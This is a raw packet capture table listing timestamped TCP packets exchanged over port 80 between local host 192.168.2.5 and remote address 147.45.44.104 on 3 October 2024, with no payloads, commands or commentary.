Oct 3, 2024 15:07:08.338987112 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.338989019 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.338999987 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339015961 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339025974 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339039087 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339066029 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339140892 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339150906 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339159966 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339170933 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339180946 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339190960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339199066 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339215994 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339231968 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339242935 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339242935 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339255095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339266062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339277029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339286089 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339308023 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339368105 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339378119 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339391947 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339401960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339411020 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339417934 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339426041 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339432955 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339467049 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339548111 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339559078 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339569092 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339587927 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339617014 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339624882 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339673996 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339715958 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339782953 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339792967 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339802027 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339818001 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339827061 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339833975 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339838028 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339854002 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339860916 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339865923 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.339894056 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339915037 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.339998960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340050936 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340065956 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340073109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340086937 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340101004 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340112925 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.340126038 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340145111 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.340147018 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340164900 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340184927 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340195894 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.340199947 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340214014 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340225935 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.340229034 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340243101 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340250015 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340256929 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340260029 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.340270996 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340285063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340301037 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340301037 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.340326071 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340329885 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.340339899 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340359926 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340369940 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.340374947 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340389013 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340401888 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.340403080 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340418100 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340426922 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.340432882 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.340460062 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.390877962 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.424173117 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424201012 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424213886 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424278975 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424293995 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424308062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424315929 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424334049 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.424401045 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.424750090 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424814939 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.424829006 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424912930 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424926043 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424941063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424956083 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.424962044 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424978971 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.424988985 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.424993038 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425009966 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425021887 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.425048113 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.425497055 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425512075 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425525904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425568104 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.425569057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425585032 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425599098 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425611973 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425621986 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.425626040 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425649881 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.425678015 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.425800085 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425853014 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425888062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425899029 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.425903082 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425925970 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425946951 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425952911 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.425962925 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425977945 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.425988913 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.425992966 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426009893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426021099 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426026106 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426040888 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426049948 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426065922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426079988 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426089048 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426099062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426112890 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426117897 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426130056 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426141977 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426151037 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426171064 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426175117 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426191092 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426198959 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426214933 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426225901 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426233053 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426249981 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426265001 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426266909 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426280022 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426295042 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426296949 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426310062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426330090 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426356077 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426357031 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426372051 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426394939 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426408052 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426412106 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426423073 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426436901 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426451921 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426482916 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426513910 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426528931 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426542044 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426557064 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426564932 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426572084 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426587105 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426598072 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426624060 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426625013 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426640034 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426661968 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426676035 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426681042 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426691055 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426704884 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426716089 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426719904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426736116 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426747084 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426779032 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426815033 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426831007 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426843882 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426857948 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426867008 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426872969 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426896095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426902056 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426912069 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426927090 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426938057 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.426942110 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426959038 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.426968098 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427000999 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427197933 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427212954 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427227020 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427239895 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427253962 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427268982 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427268982 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427287102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427299023 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427323103 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427357912 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427371979 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427395105 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427407026 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427409887 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427424908 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427437067 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427438974 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427459955 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427468061 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427475929 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427489996 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427500963 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427508116 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427529097 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427534103 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427544117 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427560091 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427571058 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427582026 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427596092 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427602053 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427613020 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427627087 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427637100 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427642107 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427656889 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427666903 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427671909 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427686930 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427699089 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427711010 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427723885 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427727938 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427738905 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427759886 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427762985 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427773952 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427789927 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427808046 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427828074 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.427835941 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427850962 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427865028 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.427898884 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.469139099 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520050049 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520066977 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520087957 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520102024 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520116091 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520129919 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520145893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520148993 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520225048 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520236015 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520241022 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520256042 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520270109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520275116 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520284891 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520298958 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520304918 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520313978 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520327091 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520334005 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520351887 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520366907 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520375013 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520382881 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520397902 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520405054 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520414114 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520430088 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520436049 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520451069 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520462036 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520464897 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520482063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520494938 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520503044 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520510912 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520524025 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520530939 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520539999 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520553112 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520553112 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520577908 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520577908 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520592928 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520607948 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520616055 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520657063 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520663023 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520678043 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520690918 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520711899 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520720005 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520728111 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520742893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520754099 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520757914 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520773888 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520785093 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520787001 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520802021 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520816088 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520816088 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.520840883 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.520845890 CEST	49704	80	192.168.2.5	147.45.44.104
